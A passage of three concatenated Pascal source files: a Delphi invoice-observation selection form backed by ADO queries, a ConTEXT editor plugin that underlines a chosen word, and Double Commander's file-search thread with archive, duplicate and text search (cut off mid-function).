Dialogs, PAIDETODOS, StdCtrls, CheckLst, Buttons, siComp, siLangRT,
LblEffct, ExtCtrls, DB, ADODB, uFrmNewInvoiceOBS;
type
TFrmAddInvoiceOBS = class(TFrmParent)
pnlButons: TPanel;
pnlFilter: TPanel;
cbxType: TComboBox;
edtAdditional: TEdit;
lblType: TLabel;
lblAdditional: TLabel;
btnNew: TSpeedButton;
btnDelete: TSpeedButton;
clbOBS: TCheckListBox;
qryDefaultInvoiceOBS: TADODataSet;
qryDefaultInvoiceOBSDefaultInvoiceOBS: TStringField;
qryDefaultInvoiceOBSIDDefaultInvoiceOBS: TIntegerField;
cmdDeleteOBS: TADOCommand;
procedure btCloseClick(Sender: TObject);
procedure cbxTypeChange(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure btnNewClick(Sender: TObject);
procedure btnDeleteClick(Sender: TObject);
private
slOBSIDs: TStringList;
FrmNewInvoiceOBS: TFrmNewInvoiceOBS;
procedure LoadOBSList;
function GetSelectedOBS: String;
public
function Start: String;
end;
implementation
uses uDM, uSystemConst;
{$R *.dfm}
{ TFrmAddInvoiceOBS }
function TFrmAddInvoiceOBS.GetSelectedOBS: String;
var
i: Integer;
slOBS: TStringList;
begin
slOBS := TStringList.Create;
try
for i := 0 to Pred(clbOBS.Count) do
if clbOBS.Checked[i] then
slOBS.Add(clbOBS.Items[i]);
Result := slOBS.Text + edtAdditional.Text;
finally
FreeAndNil(slOBS);
end;
end;
procedure TFrmAddInvoiceOBS.LoadOBSList;
begin
slOBSIDs.Clear;
clbOBS.Clear;
with qryDefaultInvoiceOBS do
begin
if Active then
Close;
if cbxType.ItemIndex = 0 then
Parameters.ParamByName('OBSType').Value := NULL
else
Parameters.ParamByName('OBSType').Value := cbxType.ItemIndex;
Open;
while not Eof do
begin
clbOBS.AddItem(FieldByName('DefaultInvoiceOBS').AsString, nil);
slOBSIDs.Add(FieldByName('IDDefaultInvoiceOBS').AsString);
Next;
end;
Close;
end;
if clbOBS.Count > 0 then
begin
clbOBS.ItemIndex := 0;
btnDelete.Enabled := True;
end
else
btnDelete.Enabled := False;
end;
function TFrmAddInvoiceOBS.Start: String;
begin
edtAdditional.Text := '';
LoadOBSList;
ShowModal;
qryDefaultInvoiceOBS.Close;
Result := GetSelectedOBS;
end;
procedure TFrmAddInvoiceOBS.btCloseClick(Sender: TObject);
begin
inherited;
Close;
end;
procedure TFrmAddInvoiceOBS.cbxTypeChange(Sender: TObject);
begin
inherited;
LoadOBSList;
end;
procedure TFrmAddInvoiceOBS.FormCreate(Sender: TObject);
begin
inherited;
slOBSIDs := TStringList.Create;
DM.imgSmall.GetBitmap(BTN18_NEW, btnNew.Glyph);
DM.imgSmall.GetBitmap(BTN18_DELETE, btnDelete.Glyph);
end;
procedure TFrmAddInvoiceOBS.FormDestroy(Sender: TObject);
begin
inherited;
FreeAndNil(slOBSIDs);
FreeAndNil(FrmNewInvoiceOBS);
end;
procedure TFrmAddInvoiceOBS.btnNewClick(Sender: TObject);
begin
inherited;
if not Assigned(FrmNewInvoiceOBS) then
FrmNewInvoiceOBS := TFrmNewInvoiceOBS.Create(Self);
if FrmNewInvoiceOBS.Start then
LoadOBSList;
end;
procedure TFrmAddInvoiceOBS.btnDeleteClick(Sender: TObject);
begin
inherited;
with cmdDeleteOBS do
begin
Parameters.ParamByName('IDDefaultInvoiceOBS').Value := slOBSIDs.Strings[clbOBS.ItemIndex];
Execute;
end;
LoadOBSList;
end;
end.
|
// Copyright (c) 2009, ConTEXT Project Ltd
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// Neither the name of ConTEXT Project Ltd nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
unit uEditorPlugins;
interface
{$I ConTEXT.inc}
uses
Windows, Messages, SysUtils, Classes, Graphics, Dialogs,
ConTEXTSynEdit, SynEdit, uCommon, SynEditMiscProcs, JclGraphUtils,
SynEditHighlighter, SynEditTypes, SynEditTextBuffer, JclStrings, SynEditMiscClasses,
uCommonClass;
type
TEmphasizeWordStyle = (ewNone, ewLine, ewDoubleLine, ewWave);
TEmphasizeWordPlugin = class(TSynEditPlugin)
private
fWord: string;
fWordLen: integer;
fColor: TColor;
fStyle: TEmphasizeWordStyle;
fCaseSensitive: boolean;
procedure SetWord(const Value: string);
protected
procedure AfterPaint(ACanvas: TCanvas; const AClip: TRect; FirstLine, LastLine: integer); override;
procedure LinesInserted(FirstLine, Count: integer); override;
procedure LinesDeleted(FirstLine, Count: integer); override;
public
constructor Create(AOwner: TCustomSynEdit);
property Word: string read fWord write SetWord;
property Style: TEmphasizeWordStyle read fStyle write fStyle;
property Color: TColor read fColor write fColor;
property CaseSensitive: boolean read fCaseSensitive write fCaseSensitive;
end;
implementation
////////////////////////////////////////////////////////////////////////////////////////////
// TEmphasizeWordPlugin
////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------
constructor TEmphasizeWordPlugin.Create(AOwner: TCustomSynEdit);
begin
inherited;
fColor:=clRed;
fStyle:=ewWave;
// fStyle:=ewLine;
// fStyle:=ewDoubleLine;
end;
//------------------------------------------------------------------------------------------
procedure TEmphasizeWordPlugin.AfterPaint(ACanvas: TCanvas; const AClip: TRect;
FirstLine, LastLine: integer);
var
i: integer;
P: TPoint;
n: integer;
search_index: integer;
s: string;
canvas_properties_set: boolean;
drawXdef: integer;
drawP: TPoint;
drawW: integer;
oldPenStyle: TPenStyle;
found_pos: integer;
begin
if (fStyle<>ewNone) then begin
drawW:=Editor.CharWidth*fWordLen;
canvas_properties_set:=FALSE;
for i:=FirstLine to LastLine do begin
n:=Editor.RowToLine(i);
s:=Editor.Lines[n-1];
if (Length(s)>0) then begin
search_index:=1;
repeat
if fCaseSensitive then
found_pos:=StrNPos(s, fWord, search_index)
else
found_pos:=StrNIPos(s, fWord, search_index);
if (found_pos>0) then begin
drawP:=Editor.RowColumnToPixels(Editor.BufferToDisplayPos(BufferCoord(found_pos, n)));
inc(drawP.Y, Editor.LineHeight-1);
with ACanvas do begin
if not canvas_properties_set then begin
Pen.Color:=fColor;
oldPenStyle:=Pen.Style;
Brush.Style:=bsClear;
if (fStyle=ewWave) then
Pen.Style:=psDot
else
Pen.Style:=psSolid;
canvas_properties_set:=TRUE;
end;
case fStyle of
ewLine:
begin
MoveTo(drawP.X, drawP.Y);
LineTo(drawP.X+drawW, drawP.Y);
end;
ewDoubleLine:
begin
MoveTo(drawP.X, drawP.Y);
LineTo(drawP.X+drawW, drawP.Y);
MoveTo(drawP.X, drawP.Y-2);
LineTo(drawP.X+drawW, drawP.Y-2);
end;
ewWave:
begin
MoveTo(drawP.X+3, drawP.Y);
LineTo(drawP.X+drawW, drawP.Y);
MoveTo(drawP.X, drawP.Y-1);
LineTo(drawP.X+drawW, drawP.Y-1);
end;
end;
end;
inc(search_index);
end;
until (found_pos=0);
end;
end;
if canvas_properties_set then
ACanvas.Pen.Style:=oldPenStyle;
end;
end;
//------------------------------------------------------------------------------------------
procedure TEmphasizeWordPlugin.LinesDeleted(FirstLine, Count: integer);
begin
//
end;
//------------------------------------------------------------------------------------------
procedure TEmphasizeWordPlugin.LinesInserted(FirstLine, Count: integer);
begin
//
end;
//------------------------------------------------------------------------------------------
procedure TEmphasizeWordPlugin.SetWord(const Value: string);
begin
if (fWord<>Value) then begin
fWord:=Value;
fWordLen:=Length(fWord);
end;
end;
//------------------------------------------------------------------------------------------
end.
|
{
Double Commander
-------------------------------------------------------------------------
Thread for search files (called from frmSearchDlg)
Copyright (C) 2003-2004 Radek Cervinka (radek.cervinka@centrum.cz)
Copyright (C) 2006-2019 Alexander Koblov (alexx2000@mail.ru)
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
}
unit uFindThread;
{$mode objfpc}{$H+}
{$include calling.inc}
interface
uses
Classes, SysUtils, DCStringHashListUtf8, uFindFiles, uFindEx, uFindByrMr,
uMasks, uRegExpr, uRegExprW, uWcxModule;
type
{ TDuplicate }
TDuplicate = class
Name: String;
Index: IntPtr;
Count: Integer;
function Clone: TDuplicate;
end;
{ TFindThread }
TFindThread = class(TThread)
private
FItems: TStrings;
FCurrentDir:String;
FFilesScanned:Integer;
FFilesFound:Integer;
FFoundFile:String;
FCurrentDepth: Integer;
FTextSearchType: TTextSearch;
FSearchText: String;
FSearchTemplate: TSearchTemplateRec;
FSelectedFiles: TStringList;
FFileChecks: TFindFileChecks;
FLinkTargets: TStringList; // A list of encountered directories (for detecting cycles)
RecodeTable:TRecodeTable;
FFilesMasks: TMaskList;
FExcludeFiles: TMaskList;
FExcludeDirectories: TMaskList;
FFilesMasksRegExp: TRegExprW;
FExcludeFilesRegExp: TRegExprW;
FRegExpr: TRegExprEx;
FArchive: TWcxModule;
FHeader: TWcxHeader;
FTimeSearchStart:TTime;
FTimeSearchEnd:TTime;
FTimeOfScan:TTime;
FBuffer: TBytes;
FFoundIndex: IntPtr;
FDuplicateIndex: Integer;
FDuplicates: TStringHashListUtf8;
function GetTimeOfScan:TTime;
procedure FindInArchive(const FileName: String);
function CheckFileName(const FileName: String) : Boolean;
function CheckDirectoryName(const DirectoryName: String) : Boolean;
function CheckFile(const Folder : String; const sr : TSearchRecEx) : Boolean;
function CheckDirectory(const CurrentDir, FolderName : String) : Boolean;
function CheckDuplicate(const Folder : String; const sr : TSearchRecEx): Boolean;
function FindInFile(const sFileName: String;sData: String; bCase, bRegExp: Boolean): Boolean;
procedure FileReplaceString(const FileName, SearchString, ReplaceString: string; bCase, bRegExp: Boolean);
protected
procedure Execute; override;
public
constructor Create(const AFindOptions: TSearchTemplateRec; SelectedFiles: TStringList);
destructor Destroy; override;
procedure AddFile;
procedure AddArchiveFile;
procedure AddDuplicateFile;
procedure DoFile(const sNewDir: String; const sr : TSearchRecEx);
procedure WalkAdr(const sNewDir: String);
function IsAborting: Boolean;
property FilesScanned: Integer read FFilesScanned;
property FilesFound: Integer read FFilesFound;
property CurrentDir: String read FCurrentDir;
property TimeOfScan:TTime read GetTimeOfScan;
property Archive: TWcxModule write FArchive;
property Items:TStrings write FItems;
end;
implementation
uses
LCLProc, LazUtf8, StrUtils, LConvEncoding, DCStrUtils, DCConvertEncoding,
uLng, DCClassesUtf8, uFindMmap, uGlobs, uShowMsg, DCOSUtils, uOSUtils, uHash,
uLog, WcxPlugin, Math, uDCUtils, uConvEncoding, DCDateTimeUtils, uOfficeXML;
function ProcessDataProcAG(FileName: PAnsiChar; Size: LongInt): LongInt; dcpcall;
begin
if TThread.CheckTerminated then
Result:= 0
else
Result:= 1;
end;
function ProcessDataProcWG(FileName: PWideChar; Size: LongInt): LongInt; dcpcall;
begin
if TThread.CheckTerminated then
Result:= 0
else
Result:= 1;
end;
{ TDuplicate }
function TDuplicate.Clone: TDuplicate;
begin
Result:= TDuplicate.Create;
Result.Index:= Self.Index;
end;
{ TFindThread }
constructor TFindThread.Create(const AFindOptions: TSearchTemplateRec; SelectedFiles: TStringList);
begin
inherited Create(True);
FLinkTargets := TStringList.Create;
FSearchTemplate := AFindOptions;
FSelectedFiles := SelectedFiles;
FDuplicates:= TStringHashListUtf8.Create(True);
with FSearchTemplate do
begin
if SearchDepth < 0 then
SearchDepth := MaxInt;
if IsFindText then
begin
FSearchText := FindText;
if HexValue then
begin
TextEncoding := EncodingAnsi;
FindText := HexToBin(FindText);
end
else begin
TextEncoding := NormalizeEncoding(TextEncoding);
if TextRegExp then FRegExpr := TRegExprEx.Create(TextEncoding, True);
FindText := ConvertEncoding(FindText, EncodingUTF8, TextEncoding);
ReplaceText := ConvertEncoding(ReplaceText, EncodingUTF8, TextEncoding);
end;
// Determine search type
if SingleByteEncoding(TextEncoding) then
begin
FTextSearchType := tsAnsi;
RecodeTable := InitRecodeTable(TextEncoding, CaseSensitive);
end
else if (CaseSensitive = False) then
begin
if TextEncoding = EncodingDefault then begin
TextEncoding := GetDefaultTextEncoding;
end;
if ((TextEncoding = EncodingUTF8) or (TextEncoding = EncodingUTF8BOM)) then
FTextSearchType:= tsUtf8
else if (TextEncoding = EncodingUTF16LE) then
FTextSearchType:= tsUtf16le
else if (TextEncoding = EncodingUTF16BE) then
FTextSearchType:= tsUtf16be
else
FTextSearchType:= tsOther;
end
else begin
FTextSearchType:= tsOther;
end;
end
end;
SearchTemplateToFindFileChecks(FSearchTemplate, FFileChecks);
with FFileChecks do
begin
if RegExp then begin
FFilesMasksRegExp := TRegExprW.Create(CeUtf8ToUtf16(FilesMasks));
FExcludeFilesRegExp := TRegExprW.Create(CeUtf8ToUtf16(ExcludeFiles));
end
else begin
FFilesMasks := TMaskList.Create(FilesMasks);
FExcludeFiles := TMaskList.Create(ExcludeFiles);
end;
FExcludeDirectories := TMaskList.Create(ExcludeDirectories);
end;
if FSearchTemplate.Duplicates and FSearchTemplate.DuplicateHash then
SetLength(FBuffer, gHashBlockSize);
FTimeSearchStart:=0;
FTimeSearchEnd:=0;
FTimeOfScan:=0;
end;
destructor TFindThread.Destroy;
var
Index: Integer;
begin
// FItems.Add('End');
FreeAndNil(FRegExpr);
FreeAndNil(FFilesMasks);
FreeAndNil(FExcludeFiles);
FreeThenNil(FLinkTargets);
FreeAndNil(FFilesMasksRegExp);
FreeAndNil(FExcludeFilesRegExp);
FreeAndNil(FExcludeDirectories);
for Index:= 0 to FDuplicates.Count - 1 do
TObject(FDuplicates.List[Index]^.Data).Free;
FreeAndNil(FDuplicates);
inherited Destroy;
end;
procedure TFindThread.Execute;
var
I: Integer;
sPath: String;
sr: TSearchRecEx;
begin
FTimeSearchStart:=Now;
FreeOnTerminate := True;
try
Assert(Assigned(FItems), 'Assert: FItems is empty');
FCurrentDepth:= -1;
if Assigned(FArchive) then
begin
FindInArchive(FSearchTemplate.StartPath);
end
else if not Assigned(FSelectedFiles) or (FSelectedFiles.Count = 0) then
begin
// Normal search (all directories).
for sPath in SplitPath(FSearchTemplate.StartPath) do
begin
WalkAdr(ExcludeBackPathDelimiter(sPath));
end;
end
else
begin
// Search only selected directories.
for I := 0 to FSelectedFiles.Count - 1 do
begin
sPath:= FSelectedFiles[I];
sPath:= ExcludeBackPathDelimiter(sPath);
if FindFirstEx(sPath, 0, sr) = 0 then
begin
if FPS_ISDIR(sr.Attr) then
WalkAdr(sPath)
else
DoFile(ExtractFileDir(sPath), sr);
end;
FindCloseEx(sr);
end;
end;
FCurrentDir:= rsOperFinished;
except
on E:Exception do
msgError(Self, E.Message);
end;
FTimeSearchEnd:=Now;
FTimeOfScan:=FTimeSearchEnd-FTimeSearchStart;
end;
procedure TFindThread.AddFile;
begin
FItems.Add(FFoundFile);
end;
procedure TFindThread.AddArchiveFile;
begin
FItems.AddObject(FFoundFile, FHeader.Clone);
end;
procedure TFindThread.AddDuplicateFile;
var
AData: TDuplicate;
begin
AData:= TDuplicate(FDuplicates.List[FFoundIndex]^.Data);
if AData.Count = 1 then
begin
Inc(FFilesFound);
FItems.AddObject(AData.Name, AData.Clone);
end;
Inc(FFilesFound);
FItems.AddObject(FFoundFile, AData.Clone);
end;
function TFindThread.CheckDirectory(const CurrentDir, FolderName : String): Boolean;
begin
with FSearchTemplate do
begin
Result := CheckDirectoryName(FolderName) and
CheckDirectoryNameRelative(FFileChecks,
CurrentDir + PathDelim + FolderName,
FSearchTemplate.StartPath);
end;
end;
function TFindThread.FindInFile(const sFileName: String; sData: String;
bCase, bRegExp: Boolean): Boolean;
var
fs: TFileStreamEx;
function FillBuffer(Buffer: PAnsiChar; BytesToRead: Longint): Longint;
var
DataRead: Longint;
begin
Result := 0;
repeat
DataRead := fs.Read(Buffer[Result], BytesToRead - Result);
if DataRead = 0 then
Break;
Result := Result + DataRead;
until Result >= BytesToRead;
end;
var
lastPos,
sDataLength,
DataRead: Longint;
BufferSize: Integer;
Buffer: PAnsiChar = nil;
S: String;
begin
Result := False;
if sData = '' then Exit;
if FSearchTemplate.OfficeXML and OfficeMask.Matches(sFileName) then
begin
if LoadFromOffice(sFileName, S) then
begin
if bRegExp then
Result:= uRegExprW.ExecRegExpr(UTF8ToUTF16(FSearchText), UTF8ToUTF16(S))
else if FSearchTemplate.CaseSensitive then
Result:= PosMem(Pointer(S), Length(S), 0, FSearchText, False, False) <> Pointer(-1)
else begin
Result:= PosMemU(Pointer(S), Length(S), 0, FSearchText, False) <> Pointer(-1);
end;
end;
Exit;
end;
// Simple regular expression search (don't work for very big files)
if bRegExp then
begin
fs := TFileStreamEx.Create(sFileName, fmOpenRead or fmShareDenyNone or fmOpenNoATime);
try
if fs.Size = 0 then Exit;
{$PUSH}{$R-}
SetLength(S, fs.Size);
{$POP}
if Length(S) = 0 then
raise EFOpenError.Create(EmptyStr);
fs.ReadBuffer(S[1], fs.Size);
finally
fs.Free;
end;
FRegExpr.Expression := sData;
FRegExpr.SetInputString(Pointer(S), Length(S));
Exit(FRegExpr.Exec());
end;
if gUseMmapInSearch then
begin
// Memory mapping should be slightly faster and use less memory
case FTextSearchType of
tsAnsi: lastPos:= FindMmapBM(sFileName, sData, RecodeTable, @IsAborting);
tsUtf8: lastPos:= FindMmapU(sFileName, sData);
tsUtf16le: lastPos:= FindMmapW(sFileName, sData, True);
tsUtf16be: lastPos:= FindMmapW(sFileName, sData, False);
else lastPos:= FindMmap(sFileName, sData, bCase, @IsAborting);
end;
case lastPos of
0 : Exit(False);
1 : Exit(True);
// else fall back to searching via stream reading
end;
end;
BufferSize := gCopyBlockSize;
sDataLength := Length(sData);
if sDataLength > BufferSize then
raise Exception.Create(rsMsgErrSmallBuf);
fs := TFileStreamEx.Create(sFileName, fmOpenRead or fmShareDenyNone or fmOpenNoATime);
try
if sDataLength > fs.Size then // string longer than file, cannot search
Exit;
// Buffer is extended by sDataLength-1 and BufferSize + sDataLength - 1
// bytes are read. Then strings of length sDataLength are compared with
// sData starting from offset 0 to BufferSize-1. The remaining part of the
// buffer [BufferSize, BufferSize+sDataLength-1] is moved to the beginning,
// buffer is filled up with BufferSize bytes and the search continues.
GetMem(Buffer, BufferSize + sDataLength - 1);
if Assigned(Buffer) then
try
if FillBuffer(Buffer, sDataLength-1) = sDataLength-1 then
begin
while not Terminated do
begin
DataRead := FillBuffer(@Buffer[sDataLength - 1], BufferSize);
if DataRead = 0 then
Break;
case FTextSearchType of
tsAnsi:
begin
if PosMemBoyerMur(@Buffer[0], DataRead + sDataLength - 1, sData, RecodeTable) <> -1 then
Exit(True);
end;
tsUtf8:
begin
if PosMemU(@Buffer[0], DataRead + sDataLength - 1, 0, sData, False) <> Pointer(-1) then
Exit(True);
end;
tsUtf16le,
tsUtf16be:
begin
if PosMemW(@Buffer[0], DataRead + sDataLength - 1, 0, sData, False, FTextSearchType = tsUtf16le) <> Pointer(-1) then
Exit(True);
end;
else
begin
if PosMem(@Buffer[0], DataRead + sDataLength - 1, 0, sData, bCase, False) <> Pointer(-1) then
Exit(True);
end;
end;
// Copy last 'sDataLength-1' bytes to the beginning of the buffer
// (to search 'on the boundary' - where previous buffer ends,
// and the next buffer starts).
Move(Buffer[DataRead], Buffer^, sDataLength-1);
end;
end;
except
end;
finally
FreeAndNil(fs);
if Assigned(Buffer) then
begin
FreeMem(Buffer);
Buffer := nil;
end;
end;
end;
procedure TFindThread.FileReplaceString(const FileName, SearchString, ReplaceString: string; bCase, bRegExp: Boolean);
var
S: String;
fs: TFileStreamEx;
Flags : TReplaceFlags = [];
begin
fs := TFileStreamEx.Create(FileName, fmOpenRead or fmShareDenyNone);
try
if fs.Size = 0 then Exit;
{$PUSH}{$R-}
SetLength(S, fs.Size);
{$POP}
if Length(S) = 0 then
raise EFOpenError.Create(EmptyStr);
fs.ReadBuffer(S[1], fs.Size);
finally
fs.Free;
end;
if bRegExp then
S := FRegExpr.ReplaceAll(SearchString, S, replaceString)
else
begin
Include(Flags, rfReplaceAll);
if not bCase then Include(Flags, rfIgnoreCase);
S := StringReplace(S, SearchString, replaceString, Flags);
end;
fs := TFileStreamEx.Create(FileName, fmCreate);
try
fs.WriteBuffer(S[1], Length(S));
finally
fs.Free;
end;
end;
function TFindThread.GetTimeOfScan: TTime;
begin
FTimeOfScan:=Now-FTimeSearchStart;
Result:=FTimeOfScan;
end;
procedure TFindThread.FindInArchive(const FileName: String);
var
Index: Integer;
function CheckHeader: Boolean;
var
NameLength: Integer;
DirectoryName: String;
begin
with FSearchTemplate do
begin
Result:= True;
if IsFindText then
begin
// Skip directories
if (FHeader.FileAttr and faFolder) <> 0 then Exit(False);
// Some plugins end directories with path delimiter.
// And not set directory attribute. Process this case.
NameLength := Length(FHeader.FileName);
if (NameLength > 0) and (FHeader.FileName[NameLength] = PathDelim) then
Exit(False);
end;
DirectoryName:= ExtractFileName(ExtractFileDir(FHeader.FileName));
if not CheckDirectoryName(DirectoryName) then Exit(False);
if not CheckFileName(ExtractFileName(FHeader.FileName)) then
Exit(False);
if (IsDateFrom or IsDateTo or IsTimeFrom or IsTimeTo or IsNotOlderThan) then
Result := CheckFileDateTime(FFileChecks, WcxFileTimeToDateTime(FHeader.FileTime));
if (IsFileSizeFrom or IsFileSizeTo) and Result then
Result := CheckFileSize(FFileChecks, FHeader.UnpSize);
if Result then
Result := CheckFileAttributes(FFileChecks, FHeader.FileAttr);
end;
end;
var
Flags: Integer;
Result: Boolean;
Operation: Integer;
TargetPath: String;
ArcHandle: TArcHandle;
TargetFileName: String;
WcxModule: TWcxModule = nil;
begin
if Assigned(FArchive) then
WcxModule:= FArchive
else begin
TargetPath:= ExtractOnlyFileExt(FileName);
for Index := 0 to gWCXPlugins.Count - 1 do
begin
if SameText(TargetPath, gWCXPlugins.Ext[Index]) and (gWCXPlugins.Enabled[Index]) then
begin
if FSearchTemplate.IsFindText and (gWCXPlugins.Flags[Index] and PK_CAPS_SEARCHTEXT = 0) then
Continue;
WcxModule:= gWCXPlugins.LoadModule(GetCmdDirFromEnvVar(gWCXPlugins.FileName[Index]));
Break;
end;
end;
end;
if Assigned(WcxModule) then
begin
if FSearchTemplate.IsFindText then
begin
Flags:= PK_OM_EXTRACT;
Operation:= PK_EXTRACT;
end
else begin
Flags:= PK_OM_LIST;
Operation:= PK_SKIP;
end;
ArcHandle := WcxModule.OpenArchiveHandle(FileName, Flags, Index);
if ArcHandle <> 0 then
try
if Operation = PK_EXTRACT then
begin
TargetPath:= GetTempName(GetTempFolder);
if not mbCreateDir(TargetPath) then Exit;
end;
WcxModule.WcxSetChangeVolProc(ArcHandle);
WcxModule.WcxSetProcessDataProc(ArcHandle, @ProcessDataProcAG, @ProcessDataProcWG);
while (WcxModule.ReadWCXHeader(ArcHandle, FHeader) = E_SUCCESS) do
begin
Result:= CheckHeader;
if Terminated then Break;
Flags:= IfThen(Result, Operation, PK_SKIP);
if Flags = PK_EXTRACT then TargetFileName:= TargetPath + PathDelim + ExtractFileName(FHeader.FileName);
if WcxModule.WcxProcessFile(ArcHandle, Flags, EmptyStr, TargetFileName) = E_SUCCESS then
begin
with FSearchTemplate do
begin
if Result and IsFindText then
begin
Result:= FindInFile(TargetFileName, FindText, CaseSensitive, TextRegExp);
if NotContainingText then Result:= not Result;
mbDeleteFile(TargetFileName);
end;
end;
end;
if Result then
begin
FFoundFile := FileName + ReversePathDelim + FHeader.FileName;
Synchronize(@AddArchiveFile);
Inc(FFilesFound);
end;
FreeAndNil(FHeader);
end;
if Operation = PK_EXTRACT then mbRemoveDir(TargetPath);
finally
WcxModule.CloseArchive(ArcHandle);
end;
end;
end;
function TFindThread.CheckFileName(const FileName: String): Boolean;
var
AFileName: UnicodeString;
begin
with FFileChecks do
begin
if RegExp then
begin
AFileName := CeUtf8ToUtf16(FileName);
Result := ((FilesMasks = '') or FFilesMasksRegExp.Exec(AFileName)) and
((ExcludeFiles = '') or not FExcludeFilesRegExp.Exec(AFileName));
end
else
begin
Result := FFilesMasks.Matches(FileName) and
not FExcludeFiles.Matches(FileName);
end;
end;
end;
function TFindThread.CheckDuplicate(const Folder: String; const sr: TSearchRecEx): Boolean;
var
AKey: String;
AHash: String;
Index: IntPtr;
AData: TDuplicate;
AFileName: String;
AValue: String = '';
AStart, AFinish: Integer;
function FileHash(Size: Int64): Boolean;
var
Handle: THandle;
BytesRead: Integer;
BytesToRead: Integer;
Context: THashContext;
begin
Handle:= mbFileOpen(AFileName, fmOpenRead or fmShareDenyWrite);
Result:= (Handle <> feInvalidHandle);
if Result then
begin
HashInit(Context, HASH_BEST);
BytesToRead:= Length(FBuffer);
while (Size > 0) and (not Terminated) do
begin
if (Size < BytesToRead) then BytesToRead:= Size;
BytesRead := FileRead(Handle, FBuffer[0], BytesToRead);
if (BytesRead < 0) then Break;
HashUpdate(Context, FBuffer[0], BytesRead);
Dec(Size, BytesRead);
end;
FileClose(Handle);
Result:= (Size = 0);
HashFinal(Context, AHash);
end;
end;
function CompareFiles(fn1, fn2: String; len: Int64): Boolean;
const
BUFLEN = 1024 * 32;
var
i, j: Int64;
fs1, fs2: TFileStreamEx;
buf1, buf2: array [1..BUFLEN] of Byte;
begin
try
fs1 := TFileStreamEx.Create(fn1, fmOpenRead or fmShareDenyWrite);
try
fs2 := TFileStreamEx.Create(fn2, fmOpenRead or fmShareDenyWrite);
try
i := 0;
repeat
if len - i <= BUFLEN then
j := len - i
else begin
j := BUFLEN;
end;
fs1.ReadBuffer(buf1, j);
fs2.ReadBuffer(buf2, j);
i := i + j;
Result := CompareMem(@buf1, @buf2, j);
until Terminated or not Result or (i >= len);
finally
fs2.Free;
end;
finally
fs1.Free;
end;
except
Result:= False;
end;
end;
begin
AFileName:= Folder + PathDelim + sr.Name;
if (FPS_ISDIR(sr.Attr) or FileIsLinkToDirectory(AFileName, sr.Attr)) then
Exit(False);
if FSearchTemplate.DuplicateName then
begin
if FileNameCaseSensitive then
AValue:= sr.Name
else
AValue:= UTF8LowerCase(sr.Name);
end;
if FSearchTemplate.DuplicateSize then
AValue+= IntToStr(sr.Size);
if FSearchTemplate.DuplicateHash then
begin
if FileHash(sr.Size) then
AValue+= AHash
else
Exit(False);
end;
Index:= FDuplicates.Find(AValue);
Result:= (Index >= 0);
if Result then
begin
FDuplicates.FindBoundaries(Index, AStart, AFinish);
for Index:= AStart to AFinish do
begin
AKey:= FDuplicates.List[Index]^.Key;
if (Length(AKey) = Length(AValue)) and (CompareByte(AKey[1], AValue[1], Length(AKey)) = 0) then
begin
AData:= TDuplicate(FDuplicates.List[Index]^.Data);
if FSearchTemplate.DuplicateContent then
Result:= CompareFiles(AData.Name, AFileName, sr.Size)
else begin
Result:= True;
end;
if Result then
begin
Inc(AData.Count);
FFoundIndex:= Index;
// First match
if (AData.Count = 1) then
begin
Inc(FDuplicateIndex);
AData.Index:= FDuplicateIndex;
end;
Exit;
end;
end;
end;
end;
if not Result then
begin
AData:= TDuplicate.Create;
AData.Name:= AFileName;
FDuplicates.Add(AValue, AData);
end;
end;
function TFindThread.CheckDirectoryName(const DirectoryName: String): Boolean;
begin
with FFileChecks do
begin
Result := not FExcludeDirectories.Matches(DirectoryName);
end;
end;
function TFindThread.CheckFile(const Folder : String; const sr : TSearchRecEx) : Boolean;
begin
Result := True;
with FSearchTemplate do
begin
if not CheckFileName(sr.Name) then
Exit(False);
if (IsDateFrom or IsDateTo or IsTimeFrom or IsTimeTo or IsNotOlderThan) then
Result := CheckFileTime(FFileChecks, sr.Time);
if (IsFileSizeFrom or IsFileSizeTo) and Result then
Result := CheckFileSize(FFileChecks, sr.Size);
if Result then
Result := CheckFileAttributes(FFileChecks, sr.Attr);
if (Result and IsFindText) then
begin
if FPS_ISDIR(sr.Attr) or (sr.Size = 0) then
Exit(False);
try
Result := FindInFile(Folder + PathDelim + sr.Name, FindText, CaseSensitive, TextRegExp);
if (Result and IsReplaceText) then
FileReplaceString(Folder + PathDelim + sr.Name, FindText, ReplaceText, CaseSensitive, TextRegExp);
if NotContainingText then
Result := not Result;
except
on E : Exception do
begin
Result := False;
if (log_errors in gLogOptions) then
begin
logWrite(Self, rsMsgLogError + E.Message + ' (' +
Folder + PathDelim + sr.Name + ')', lmtError);
end;
end;
end;
end;
if Result and ContentPlugin then
begin
Result:= CheckPlugin(FSearchTemplate, Folder + PathDelim + sr.Name);
